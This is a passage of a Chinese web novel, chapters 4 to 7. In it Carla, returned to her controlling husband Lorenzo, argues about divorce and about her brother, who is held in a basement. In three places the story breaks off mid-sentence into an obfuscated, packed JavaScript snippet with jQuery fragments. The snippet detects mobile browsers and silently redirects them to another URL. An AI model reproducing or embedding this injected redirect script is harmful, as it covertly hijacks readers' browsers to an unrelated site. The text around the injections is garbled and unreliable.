她非常关心她一手抚养长大的侄女,乍富之后,也曾担心过自己要是有朝一日遭遇什么不测,侄女的生活将会回到从前。于是,在仔细咨询了律师之后,她选择用自己账户中攒下来的一大笔津贴给格蕾丝设立了非常严格的信托,只能用于格蕾丝的教育、医疗、基本生活。帕迪与罗伊辛的一贯作风可不能怪她跟防贼一样。
最终,这个安排也给了她头也不回地离开的底气。
“不,”帕迪道,“你嫁进了一个这样的家庭,你真的就忍心……”
“闭嘴。”洛伦佐说道,于是,她的哥哥立刻沉默了下来。
然后,洛伦佐便再次拉住了她的手,想要带她离开。
卡拉仍还想向哥哥问个清楚,她皱起眉,本能地想要反抗他的动作,可他的力量却让她根本无能为力,一直到被拽着回到了他们的卧室,他才轻轻松开了她。
4. Chapter 4
“你身上沾满了那个家伙的血。”
洛伦佐一边说,一边试图将她被弄脏了的衣服脱下来。
“不,洛伦佐。”卡拉抓住了他的手阻止了他。
她仍然不习惯他这样肆无忌惮地触碰她,就好像他们真的是一对普通的夫妻,他的动作没有任何多余的含义,就只是纯粹的关心。
可事实上,在他们的两年婚姻里,他对她冷若冰霜,很少主动触碰她,而每次他在卧室里触碰她,都代表了她该履行她作为妻子的义务了。
她现在甚至不愿回忆那些事情。
洛伦佐顺从地放下手,凑近了她,把嘴唇贴到了她的耳边。在他开口前,她感觉到他热气腾腾的呼吸拂过了自己的脸颊。
“我很高兴你终究是平安回来了,我真的……很思念你,卡拉。”
他这是在跟她玩什么把戏?
这是卡拉脑海中浮现的第一个念头。
从她回来到现在,他不仅一点也没有对她生气,他甚至还表现出了一种堪称是诡异的温柔,天主知道,他从来就没有对她如此柔情过,也没有任何理由偏偏从现在开始。
该死的,她可是一个逃跑并且出轨了的妻子,正常情况下,他至少也该怒气冲冲地打断她几根骨头,让她奄奄一息地跟帕迪躺在一起……
所以,他那疯狂的大脑里到底正在计划一些什么恶毒的东西?
她没有回应他莫名其妙的话,而是忍不住问:“你准备把我哥哥怎么样?”
洛伦佐叹了口气,指尖轻轻掠过她散乱的发丝,再度为她带来一阵战栗:“还是这么关心他,你就从来都得不到经验,学不到教训是吗?”
“无论如何,你这种把他扔在地下室关起来的行为已经是违法了。”卡拉道。
“我以为这只是小事一桩。”
卡拉顿了顿,意识到自己确实说了一句蠢话。他为什么要去在乎法律呢?富人不就是这样,可以按照自己的准则随心所欲地生活。尤其她的哥哥还是一个纯粹的应该被清理掉的社会渣滓。
“洛伦佐……”
“嘘。”洛伦佐打断了她,“我们就不能有一分钟不谈论他吗?”
“我可以先拿出我所有的钱。”卡拉坚持道,即便她自己都清楚这根本就毫无意义,她那点钱只是杯水车薪。
“只要再给我一点时间,我一定会想到办法的。”
“别再继续说一些这样的蠢话了,”洛伦佐无奈道,“你根本还不了他的债,我也不可能让你插手这种事情,我说过了,他貌似在外面惹了很大麻烦。”
“可是,我不可以让他一直这样下去,他毕竟是我哥哥,我能做些什么吗?”
“你很清楚,不是吗?”洛伦佐道。
她清楚吗?卡拉不禁皱起了眉头。
“别再胡思乱想,我们回到从前,帕迪·多尔蒂就也始终是我的家人,他的事就是我的事,我总会替他解决。”他说着,语气中透着几分厌恶。
他们的从前?卡拉愣住了,她咀嚼着这几个字,心里不禁泛起一丝酸楚。
从前是什么?是她每天躺在他身边,忍受他永恒不变的冷漠,只能依靠疯狂购物缓解孤独?是她日复一日看着他用那双干净修长的手翻阅文件、端起咖啡、抚摸她的身体,而她却已经知道了那双手曾经……
不,对于这个,她其实还什么都不知道。她只知道那天她看见的,足够让她永远也不想知道更多。
她狠了狠心,鼓起勇气道:“我……仍然希望可以离婚,我说过了,我没有任何要求,我可以放弃一切,真的。”
洛伦佐的目光变冷了:“关于离婚的事情到此为止,永远不许再提了。”
“我做了那么多蠢事,我还背叛了你,跟其他人在一起。”她终于鼓起了勇气对他说,带着几分自毁一般的决心。
“这……这难道还不够让你恶心我吗?”
“背叛。”他重复了一遍卡拉的用词,语调极低,“你终于舍得给你那伟大的爱情一个合适的名字了?”
卡拉浑身发抖,指甲深深掐进掌心。但是她没有退后,也没有移开视线。她已经将那些话说出口了,剩下的就只不过是承受后果罢了。
反正都两年了,她还是被他给抓了回来,也许,她从一开始就不应该试图反抗任何命运,她根本就没有那个能力。毕竟,她可是一个爱尔兰人,爱尔兰人从来都是愚蠢的、懒惰的、醉醺醺的,最擅长搞砸一切。
就像那句老话说的,就算外面在下汤雨,爱尔兰人也会拿着叉子出去*。
她就该好好地待在自己原本的地方,然后像所有人一样慢慢腐烂……
他就这么盯着她看了几秒,忽然伸出手,捏住了她的下巴,力道并不重,却剥夺了她转头的可能。他漆黑的眼眸深处,某种剧烈的东西在翻涌,又被强行压下。
“你可以尽管放心,我不是一个会因为东西被弄脏了就随手丢掉的人。”
即便对许多事情都心知肚明,他的话依旧让卡拉心下一沉,她试图扭头甩开他的手,却失败了,她只能开口:“不,我从来不是你的东西。”
“你当然是,”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588883|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的拇指略微用了力,留下了一点压痕,“法律上、事实上、任何意义上,你都是属于我一个人的。”
说完,他便猛地松开了她,转身走开几步,像是需要空间来好好安置自己的这些情绪,以免会行为过激。
于是,房间里顿时只剩下他们两个人的呼吸声。
“你居然以为,只要你说一句‘不是’,这一切就能够一笔勾销了?”
他再度转过身来,目光像锋利的刀,牢牢地钉在她仍还在发抖的身体上。
“我无法理解,你当年站在我的面前,用你自己换取庇护与金钱,当你签下名字的时候,并没有任何人逼迫你。”
卡拉的嘴唇微微发白,却还是高高地抬着头,直视着他。
“没错,我当时是想要钱,想要安稳的生活,这有什么错?我受够了贫穷,受够了整天得看别人的眼色,所以我让你彻底地夺走了我的自尊,可是,这不代表我就不能感到后悔。”她说。
“现在我已经后悔了,我知道我犯了一个大错,我并不想要这样的生活。”
洛伦佐走回她面前,停在一步之遥的地方,却没有再触碰她。
“后悔?”他忍不住低笑了一声,“后悔是这个世上最没用的东西,卡拉。”
卡拉偏过了头去,继续道:“我……真的不想再继续我们的关系了。而且,我们一起过了两年,对你而言,无论哪个方面,我早就没什么特殊的了,事实上,在这个世界上,比我……”
“MadrediDio(天主之母)……”他低声打断了卡拉未完的话,那声亵渎的感叹里压抑着一种令人难以置信的挫败与怒意,“所以,我同意了你的婚姻要求,并控制了我的手,直到真正娶你为妻时才终于碰你一下,一个男人能给予一个女人的最大尊重是什么?结果,你却在这里自认为是没什么特殊的?”
他俯视着她,声音低沉而残酷。
“不,你是我这一生中做过的最昂贵、最愚蠢、也是最不允许失败的决定。”
“而现在,”他停顿了一下,“你竟然正准备把它变成一个笑话?”
卡拉苦笑:“也许,它从一开始就是一个笑话。”
“既然你一定要这么去想的话。”洛伦佐道,“但只要这段婚姻还存在一天,你就还是我的妻子,明白吗?”
她倔强地没有回答他,而他也并不准备逼她什么,而是直起了身,与她重新了拉开距离。
“把身上的血洗干净。”他说。
然后,房门在她的面前重新关上,他的脚步声清晰而沉重。
5. Chapter 5
卡拉很高兴自己又可以独处一会了。
她听从了洛伦佐的话,走进浴室,脱下沾了她哥哥鲜血的衣服,并为自己冲洗掉了手臂上的血迹。
然后,不知怎么的,她就钻进了浴缸里。她闭上疲惫的双眼,让思绪沉入了温暖的池水中。短暂的解脱感飘过她的身体和心灵。
这种感觉好像总是这么美好。
不知不觉之间,一张脸从她的记忆深处悄悄地浮现了出来。
一张被湿漉漉的红发缠绕着的脸。苍白,美丽,带着她这一生中唯一一次见到的微笑……
卡拉情不自禁地越沉越低,让温水漫过下巴,漫过嘴唇,漫过鼻翼……
多年以来,她一直都很喜欢这么做,她享受水波的声音,那会让她想起无边无际的大海,想起她一个人光着脚走在沙滩上的样子。
慢慢的,她开始需要呼吸了,可是在水中的感觉是如此宁静,如此自由,就像是回到了母亲的子宫。
没有任何人会来打扰她。
她慢慢地睁开眼睛,透过晃动的水层看着浴室顶灯模糊成一片光晕。她长长的头发在水中丝丝缕缕地飘散,缠绕着她的脖颈、脸颊、手臂。
她尝试着去微笑。
可窒息感已经死死掐住了她的喉咙,她的肺部也开始痉挛,她的身体本能地尖叫着需要空气。
她还是猛地坐起来。
水花四溅,她趴在浴缸边,剧烈地咳嗽着,咳得整个胸腔都在疼痛。
危险的游戏。
一直如此。
她在逐渐变凉的水中蜷缩了许久,直到指尖泛起褶皱,皮肤微微发冷,才终于从浴缸中起身,带起一阵水声。
她穿上浴袍,魂不守舍地打开门,结果却看到洛伦佐竟然又出现了。
她本能后退一步,差点叫出来。
从他找到她开始,他的行为一次比一次诡异。大白天的,能不能不要突然之间冒出来吓人,他现在是没有自己的事要做了吗?他可是一位老板啊!
洛伦佐道:“你应该吃点早餐。”
“早餐?”卡拉傻乎乎地重复道。
“是的,你知道你每天早上吃的那顿饭吗?”他嘲弄道,然后卡拉发现自己像一个心不在焉的傻瓜一样点了点头。
“你从昨天傍晚到现在就没吃什么。”他指了指桌子,“别饿坏了。”
卡拉的目光随着他的动作而移动,最后停留在装满了美食的托盘上。
直到此时,她才意识到房间里确实弥漫着各种香味。
卡拉目瞪口呆地看着他,整个人都开始有些不知所措。她实在无法理解他的行为,这也让她感到非常不舒服。
“你为什么要这么做?”她忍不住问。
“我无法理解这种问题,我是你丈夫,给你送份早餐也需要问为什么?”
这感觉不对劲,这感觉完全不对劲。
卡拉想,这势必是一场最终会演变成某种可怕结局的游戏,她一直都很确定她把他给惹毛了,她就是不太明白他究竟准备怎么去操纵她、折磨她。
她警惕地在桌旁坐下,而洛伦佐拿起一个盘子放到她面前:“你喜欢的。”
卡拉低头看着盘子,愣了愣,记忆的闸门被猛地撞开。不是舞台上迷离的灯光,不是婚后冷寂的豪宅,是一个更久远、几乎褪色的画面:温暖的厨房,烤箱里飘出的香气,还有祖母那双布满了皱纹的手……
她鬼使神差地拿起一块,勉强自己咬了一口,香而不腻,很温暖的口感。
只是,洛伦佐一直在目不转睛地盯着她,就好像对她的反应十分感兴趣,这实在是让她大倒胃口。
于是,她默默拿起了他刚给她倒的咖啡,试图用苦味冲一冲恶心。
“你今天有什么外出的计划吗?”他忽然问她,语气随意得像任何一对普通夫妻的晨间对话。
闻言,卡拉差点把咖啡重新吐回杯子里,她诧异地看着他:“我可以出门?我还以为我被禁足了。”
“不,我对拿链子把人锁起来没兴趣,你是我的妻子,你依旧想去哪里就去哪里。我估计你也很久没有机会好好购物了,你的衣橱应该更新一下,尼科洛·比安奇会陪着你。”
尼科洛?卡拉皱起了眉,让尼科洛来做她的保镖?只是看守区区一个她,有必要如此的劳师动众吗?
“从前的人呢?”
“你认为他们还能留在这里?”
好吧,对他来说,这十分合理。
但她还是为她曾经的安保人员感到不公,他们其实没犯什么错,就只是压根没想到他们那位一门心思刷丈夫卡的女主人居然可能会设法逃跑而已。
所以,她轻而易举地耍了他们……
“我一直说过不需要保镖。”卡拉道,“又没几个人知道我是你妻子,而且,你也不是那么重要的人物。我不喜欢被人盯着,我也不准备购物,我认为我应该找一份工作,我要挣钱生活。”
“我以为你和我结婚就是不想工作了。放心,卡拉,你丈夫的事业目前还没有出现任何问题,这个家里还用不着你那点买件像样衣服都不够的工资。”
“没有什么这个家了,”卡拉低声道,“我说过了,我是真的想要离婚。”
闻言,洛伦佐缓缓向后靠进椅背,刚才那一点刻意营造的、虚假的平和从他脸上褪去。
他吐出了一口气,声音低沉而清晰:“我想,我也和你说过了,永远不许再提离婚这个词。”
“你是阻止不了我的,洛伦佐。”她听见了自己的声音,比想象中要勇敢,“我想,法律有它的程序。”
洛伦佐沉默了片刻,空气仿佛凝滞。他没有动怒,只是以一种近乎审视的目光打量着她。
“阻止不了?”他重复道,声音很轻,“你不会真是这么想的吧?”
卡拉的喉咙梗了一下,没有说话。
她当然没有真的去这么想,她只是见他看起来还算平和,再试探一下。
“当然了,你完全有权利提出离婚。”他十分平静地陈述,“而我会动用我的资源应对,一切的过程会极其漫长、昂贵,令你举步维艰。我实在想不到你究竟可以怎样去与我抗衡。”
闻言,卡拉的手不禁在桌下绞紧了浴袍的带子。
“至于你想找工作。”他继续道,“你完全可以去试一试,但我得劝你一句,你又不是什么不可替代的天才,你甚至没有念过大学,你说,究竟有谁会愿意为了你那么一点微乎其微的劳动力,来招惹一些不必要的麻烦?”
“还有你亲爱的家人们。”说到这里,他在卡拉控诉的眼神中顿了顿。
“不必总是那么看我,你明明很清楚,我根本没那么多心思可以分给他们,至于你哥哥,他现在也已经离开了。就只是,他们一直都非常擅长自找麻烦,不是么?这一点我想你是再清楚不过,不然你也不会老老实实回家。”
说到这里,他重新坐直身体,将目光笼罩着她,做出最终总结:“说到底,一切问题的核心,从来都是钱。而一个像你这样的女人,就算再过一百万年,也注定会被钱摆布得死死的。所以,你该安分一点了。”
他的话一点问题也没有,卡拉想。
曾经因为他,她是如此年轻就离开了那个冰冷、肮脏的底层世界,她彻底摆脱了生活中所有的贫穷与残酷,变成了光鲜亮丽的富家太太。那时候,她真以为自己彻底脱胎换骨了。
可事实上,那份死一般的寒冷依然存在,它就潜伏在门外,随时都会从缝隙中钻进来,让她再次颤抖……
“在这世上每个人都被钱摆布,”她忍不住道,“而你也就有钱这个优点了。如果你没有钱,我想,我估计下辈子都不可能会做你的妻子,上你的床。多么可悲的男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588884|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只能通过付钱来得到女人的性服务。”
将这些怨毒的话一股脑地说完,卡拉愣了愣,自己都有点被自己难堪之下过于激烈的言辞吓到。
疯了疯了,她真的是彻底疯了才会如此挫伤这个意大利男人的男子气概,他很有可能会因此放弃与她的小小游戏,去采取一些更直接的手段。
想到这里,她不禁下意识地看向了他的双手,修长、干净的手。她几乎无法将眼睛从那双漂亮的手上移开,脑子里全是地下室那个男人的样子。
当他突然站起来时,她畏缩了一下,并本能地将双臂交叉挡在脸前,徒劳地想要挡住所有攻击。
洛伦佐愣了一下,他抓住她的手腕,慢慢地把她的胳膊从她惊恐的脸上拿下来,道:“你……以为我会打你吗?”
他的声音里充满了震惊。
卡拉僵住了,但她还是摇了摇头。
他过去对她虽然冷淡,但使用暴力?不,从来没有过,一直以来,他装绅士装得非常到位,所以她做梦也没想过他可能会是一个危险的人。
也许,她充满希望地想,只要她不让他知道她曾经都看到什么,他或许是真的很乐意一直在他的合法妻子面前扮演正派人呢?
“有谁打过你吗?”他又问她。
然后不等她回答,他就用意大利语咒骂了一声,做出了一个猜测:“洛克兰·科伊尔?”
他的眼神显示出,如果洛克兰真的会对她动手,他可能会想把他的手指一根根串起来做成一条项链。
卡拉被那种莫名的揣测吓得抖了抖,只能再次摇摇头。
怎么可能呢,他们两人之间,非要说有一个可能会打人,那估计也是她。一直以来,她才是容易情绪不稳定的那个。
“那么,到底谁曾经打过你?”他显然是看穿了什么,非要一个答案。
卡拉实在无法理解他:“这很重要吗?我已经很久没有再挨过打了。”
“你必须告诉我。”
卡拉无可奈何地低下头,道:“一个孩子被她父亲打过,难道很奇怪吗?”
她没有说得更多。
她父亲只要一喝醉就会大发脾气,在多数时候,她和帕迪都会设法避开,但那不会永远成功。然后帕迪就会把伤害尽量转移到自己身上,因为他是她的大哥哥,他认为他对妹妹负有责任……
至于传说中的儿童保护服务机构,她现在知道它是真实存在的了,而在过去,对于他们这种人来说,那就是另外一个世界的东西,模糊又遥远。
那时候,所有人都告诉他们,父亲是唯一权威,无论他做什么,他们都应该忍耐、顺从、把一切留在家里。
洛伦佐静静看了她一会儿,并没有再说什么,只是松开了她的手腕。
她的手臂重新垂落在了身旁,腕上还残留着他手掌的温度和些许压力。
她犹豫了一下,极快地抬眼瞥了他一下,试图窥探他的情绪,可是他已经转过了身。
过了仿佛一个世纪那么久,他才终于开口:“我今天在家,我希望午餐时间能见到你。”
“午餐?”卡拉毫不怀疑自己现在看起来无比愚蠢。
“是的,午餐,就是你每天中午要吃的那顿饭,它夹在早餐与晚餐之间。”
卡拉奇怪地看着他,他们过去几乎从不一起吃任何饭,她也压根不希望从现在开始。
而他仍然在继续说话:“如果你真的那么感到无聊,你或许可以重新考虑一下管理这栋房子的职责,或者是发展一些……更符合你身份的兴趣爱好。”
门轻轻合上,留下满室寂静和餐点逐渐冷却的香气。
卡拉独自坐在桌边,苦笑一声,又慢慢拿起那块已经被咬了一口的燕麦饼干,凝视着。
反抗的火焰在她胸腔里明明灭灭,最终,只是化为了一声压抑的、几乎听不见的哽咽。
6. Chapter 6
最终,卡拉还是几乎没有吃东西。
她厌恶地把洛伦佐为她准备的食物推到一边,走到窗边,用力拉开缀着花边的窗帘。阳光汹涌而入,刺得她不禁眯起眼。
窗外是修剪得一丝不苟的庭院,远处是沉默的铁艺大门,将这个世界与外界彻底隔绝。“想去哪里就去哪里”,真是多么慷慨的谎言,前提是尼科洛·比安奇如影随形,前提是她每一步都踩在他划定的、名为体面的框架里。
她让自己又休息了一会儿,上午的时光在焦灼的寂静中流逝。
她没想继续违抗洛伦佐,也不太愿意摆太太谱,让佣人给她上来送饭,于是,她心不在焉地钻进她庞大的步入式衣橱,想要给自己换身衣服。
这里有曾经让她十分满足的一切。美丽的珠宝首饰,还有分别占满了三面墙的衣服、包包,以及各式各样的高跟鞋。
她都不想去数有多少她压根碰都没碰几下,她当时就只是真的非常享受这种全新的奢侈生活……
她越想心里就越发堵。
于是,她还是选择穿上了从那间公寓里带来的衣服,便宜但舒适的衣服,她靠自己打工挣来了它们。
当她终于下楼时,洛伦佐已经坐在了长桌的一端,面前摊开着一份文件,手边放着一杯水。他脱了外套,只穿着熨帖的白色衬衫,袖口挽到小臂,露出一截结实的手腕和昂贵的手表。听到脚步声,他抬起了头。
阳光给他深邃的轮廓镀上一层金边,甚至软化了他眼中惯常的冷冽。
这一刻,他看起来几乎像一个居家的普通丈夫。
好吧,其实并不普通,他还是太英俊了,太阳神一般的熠熠生辉。
“坐。”他指了指长桌另一端的椅子,声音平淡。
卡拉默默走过去,在他指定的位置坐下。两人之间隔着光可鉴人的餐桌,距离远得足以让任何亲密交谈显得尴尬。桌上摆着简单的午餐,健康,精致,毫无烟火气。
沉默开始蔓延开来,只有刀叉偶尔碰到瓷盘的轻微声响。卡拉食不知味,几乎是机械地咀嚼着。她感觉到洛伦佐的目光不时落在她身上,带着那种评估般的审视。
“你身上的……到底是什么东西?”他终于开口问了。
卡拉清楚他究竟是什么意思,但她还是学着他之前跟她开那些早餐午餐的无聊玩笑的样子,故意说道:“衣服,人们用它来遮掩身体,天冷时还会加厚,用于保暖。”
但显而易见的是,他自己也同样体会不到这种奇怪的幽默感,他皱起眉:“我漂亮的妻子,就裹着一堆破布?”
“这不是破布。”卡拉道,“它或许没有名牌标签,在打折时几乎等于免费,但依旧可以是很舒适的衣服。”
洛伦佐道:“你以前从来不碰任何打折的东西,你觉得那配不上高贵的你。那很好,我的妻子值得最好的。”
卡拉几乎想笑,现在他倒是忽然了解起她来了。
她忍不住讥讽:“更久以前,我还在穿二手衣服。”
“所以现在,穿回这些破烂对你而言,究竟意味着什么?是一种对过去生活的缅怀,还是……”他顿了顿,“对我,以及我能提供的一切的反抗,与刻意贬低?”
“都不是。”她别开视线,望向窗外过分整齐的玫瑰丛,“它只是让我感觉,更像我自己。靠自己的双手挣来的东西,穿起来会更踏实。”
“你自己?”洛伦佐重复了她的用词,“一个靠着我施舍才能让你哥哥活命、让你侄女得以安全的你自己?卡拉,你的自我未免太过昂贵,昂贵到需要不断去透支别人的资源来维持它那点可怜的、穿着打折衣服的体面。”
他的话像淬了毒的针,精准地刺中她最无力辩驳的痛点。她张了张嘴,却感到喉咙被酸涩堵住。
大约也是意识到了什么,洛伦佐吐了口气,偏过头去,声音也低了许多。
“无论如何,我妻子穿成这样实在不合时宜,你如果不喜欢你过去的衣服,就买新的,至于这些破烂,我想你会舍不得扔,但可以捐给慈善机构。”
说到这,他像是忽然想起了什么,不禁笑了一声:“查丽蒂(Charity),我很好奇你为什么选择这个名字?你根本不像会叫这种名字的类型,它……太老式了,也太新教色彩了。而且,我也从不记得你过去曾主动参与过什么慈善活动。”
“那是我先祖母的名字,而她的母亲也确实是一个新教徒。我祖母的两个姐姐还分别叫费思(信)跟霍普(望)呢。在孩子注定成为天主教徒的情况下,她总得坚持一点什么吧。”卡拉无所谓地实话实说道。
她忍不住想,好像越是这种穷困潦倒对命运无能为力的家庭,就越爱给孩子起一些充满了美德的名字。
信望爱三姐妹一直人如其名,善良虔诚,温柔慈爱,也曾都那么努力地想要融入这个社会,却始终得不到任何回应。
基督与穷人同在。
真是笑话。
也不知道在这么多年后,她们是否已经自炼狱前往她们最向往的天国了。毕竟,他们这些被留在人间的家伙自己都浑浑噩噩的,又如何去为她们祈祷、献弥撒……
“你很想念她?”洛伦佐不禁问,语气里带有一丝罕见的探究意味。
卡拉在他的声音中回过了神来,几乎就要点头。一瞬间,想要倾诉的强烈冲动涌上了喉头,关于祖母烤饼干的香气,关于她粗糙而温暖的手掌,关于那些早已经模糊的、被贫穷包裹却依旧闪烁着微光的童年午后。但是,她很快就清醒了过来,看清了对面坐着的人究竟是谁。
他们近日里的对话,几乎已经超过从前半年总量,没有必要继续增加了。
而且,她不想和他谈心,唯独是他,尤其是在她尝试着给帕迪家里打了好几次电话都没有打通之后。
她真的很想知道到底发生了什么?他的家人究竟都去哪了?可她很清楚,他大概不会告诉她,他显然很喜欢做个谜语人,很享受这样折磨她的心。
“与你无关。”她硬生生地将那些柔软的碎片压回了心底。
洛伦佐的目光在她脸上停留了片刻,没有继续追问什么,只是淡淡“嗯”了一声,她是否思念她那已故的祖母,确实是与他毫不相干。
午餐在一种更加凝滞的沉默中继续。卡拉几乎都能听见自己血液流动的声音,以及刀叉划过瓷盘时那细微的、令人牙酸的声响。她强迫自己咽下那些精致的、却毫无温度的食物,每一口都几乎像是在吞咽沙砾。而洛伦佐的视线则始终像无形的探针,试图穿透她单薄的衣衫和故作镇定的表皮,测量她内里的震荡幅度。
当卡拉终于忍受不了他的行为,她猛地站了起来,道:“我得出去一下。”
洛伦佐挑了挑眉,露出了然的神情:“去购物?”
他的语气有些刺痛了她,它显示出他一直以来都是怎么看她的,一个永远不可能改变贪婪本性的掘金女,而他也永远都可以用他的金钱来操纵她。
“就只是随便逛逛,我一个人就行。”
可显然,洛伦佐说定了的事是不容改变的。
“尼科洛将会贴身保护你,但是现在,我希望你坐下,你吃的东西估计连一只麻雀都养不活。”
“我是爱尔兰人,就让我饿肚子吧。”卡拉讥讽道,“而且,我们过去从来不在一起吃午饭,我已经习惯了。”
“你很快就会有新的习惯的。”他平静宣告。
卡拉也懒得与他争辩,硬气地径直离开去拿自己的包。
*
作为洛伦佐的安全主管,尼科洛·比安奇想必并不乐意接手“陪女主人购物”这项新任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588885|205401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
务,但他的脸上毫无波澜,显然,职业素养早已将他铸成一座沉默的冰山。
卡拉其实也不知道自己究竟想去哪,她就只是不想继续待在那房子里,待在那个混蛋男人身边。
她的社交圈子一直都很小。她家境太差,性格奇怪,从前就交不到什么真正的朋友,后来她进了丝绒三叶草跳舞,又因为经理对她那莫名的无条件的好意,她的同事们也大都不是特别待见她。而且,就算她真有朋友,在经历了这么多事后,估计也早就淡得差不多了。
于是,她几乎没有怎么考虑,便提出想见见大嫂罗伊辛与侄女格蕾丝。
“不行。”尼科洛的回答简洁而冷酷,不留余地。
“为什么?”卡拉惊讶地盯着他。
然后,她搬出了丈夫:“我以为洛伦佐说过我可以想去哪里就去哪里!”
尼科洛目视前方,语气依旧那么平直克制:“这是德-米凯利先生的意思。”
“只是见见我的侄女,”她压低声音,“就一个下午而已,我已经在她生活里缺席太久了,我真的想看到她平安。”
车厢里短暂地安静了一瞬。尼科洛似乎在权衡措辞,最终道:“多尔蒂一家目前的生活状态,并不适合被打扰。”
“被谁打扰?”卡拉几乎脱口而出,“你是说被我这个家人吗?”
尼科洛没有回答。
卡拉咬住下唇,也知道一直跟他争执下去也是无用,他只是奉命行事。
至少,他们应该都还算平安吧……
想到这,她不禁又开始有些焦虑,洛伦佐就一定要这样隐瞒着她,她究竟还能怎么办呢?就这么一直活在对格蕾丝的担心里吗?
车子平稳地驶入了市区,街景在车窗外飞快后退。行人、咖啡馆、橱窗里陈列的当季新款,一切都显得那么的鲜活而遥远。
卡拉默默看着那些毫不知情地生活着的人,忽然生出一种荒谬的错觉,仿佛她正被关在一只透明的玻璃罩里,能看见世界,却永远也无法真正去触碰。
“那我究竟可以去哪?”她问。
“你可以去任何地方。”尼科洛语气不变,“只要在合适范围内。”
卡拉忍不住笑了一下。
“听起来可真慷慨啊。”
尼科洛没有接话。
于是,卡拉干脆就选了一件自己过去其实不算太喜欢的事情:去看电影。
毕竟无论如何,这都是一种最简单的可以暂时逃避现实的方式之一,也足够廉价。而她目前最渴望的,就是逃离自己这可悲的现实生活。
她首先看了一部浪漫爱情片,享受甜蜜的爱情,之后又是那些她看不懂的乏味片子,到了晚上,恐怖片也是不错的选择。
她根据电影情节的不同,时而哈哈大笑,时而伤感落泪,时而无比尴尬,时而害怕不已。
尼科洛就陪在她的身边,默默忍受着所有的一切。
他对此完全没有什么办法,她表现得足够顽固,而他一个受雇于人的保镖总不能大庭广众之下不由分说直接把女主人扛走——除非他的雇主明确要求。可洛伦佐那种人显然不会这么要求,而她忽然想看电影也确实是一件很小的事。
直到她因为连看几部电影,坐得臀部都开始疼痛难忍,她才终于消停了。
由于一直待在黑暗中,还要忍受投影仪闪烁的光线,她感觉到头痛欲裂;再加上全程也就只吃了一些汽水和爆米花,她的胃也开始有点不舒服。
当她十分疲惫地乖乖回到家时,她注意到房子里依旧是灯火通明,她愣了愣,本能地有些不自在起来。
她刚走到了前门,门就被猛地打开。
看到丈夫那高大得令人畏惧的身影站在门口,她不由微微一惊,然后,他猛地抓住她的手臂就将她拉进屋里。
7. Chapter 7
门在她身后沉重地关上,隔绝了夜的微凉。洛伦佐仍抓着她的小臂,力道不重,却像一道铁箍,不容挣脱。
“玩得开心吗,我的夜归人?”他的声音压得很低,听不出情绪,但每个音节都像在冰水里浸过。
卡拉颤抖着,试图抽回手,他却收得更紧。近距离之下,她能闻到他身上淡淡的威士忌气息,混合着熟悉的、冷冽的味道。
他身上只穿着衬衫,领口微敞,头发不似白日时一丝不苟,有几缕黑发散落在额前。这让他少了些那种无懈可击的锋利,却多了一种暗沉的、更具侵略性的危险感。
“电影还算有趣吧。”她简短地回答,偏过头,避开他迫人的视线。头痛和身体上的不适让她的声音都显得有些虚弱。
“你最好是觉得有趣,你晚饭都没吃,我都怀疑你打算用爆米花和碳酸饮料把自己淹死。”
卡拉的心一沉,尼科洛果然是事无巨细地汇报了,她早该知道的。
“我只是……需要一点空间。”她说着,又忍不住挣了一下。他手臂的肌肉绷紧,依然没有松开。
就像是听到了一个笑话,洛伦佐道:“我给了你整个城市,卡拉,你却偏偏选择把自己锁在一个黑暗的盒子里,折磨你自己的身体,也折磨你可怜的保镖,这就是你想要的空间?”
当然不是。但无论如何,电影院里漆黑的环境,陌生人之间互不打扰的疏离,甚至是那廉价的人造奶油香气,确实比这栋华丽牢笼里他的存在更让她感到……自在。
哪怕,那只是暂时的幻觉。
“随便你怎么想吧。”她放弃了解释,声音疲惫,“我现在想去睡觉了。”
洛伦佐沉默了几秒,目光在她苍白的脸上逡巡。她没有化妆,眼下有淡淡的青影,嘴唇有些干裂,身上那套廉价的衣服在昏暗光线下显得格外灰扑扑。她看起来脆弱又倔强,像一根绷到极致、随时会断的弦。
他忽然松开了手。
卡拉猝不及防,踉跄了一下才站稳。她揉着刚刚被他握过的地方,皮肤上似乎还残留着他指尖的力度和温度。
“去吧。”他的声音忽然又变得平和了起来,“你确实该好好休息了。”
说完,他让开了路,双手插进了口袋里。当她从他身边走开时,她可以感觉到他的目光紧紧地盯着她的背影。
她快步跑上楼,然后挑选了一间距离主卧室最远的客房,匆匆洗了个澡就上床睡觉了。
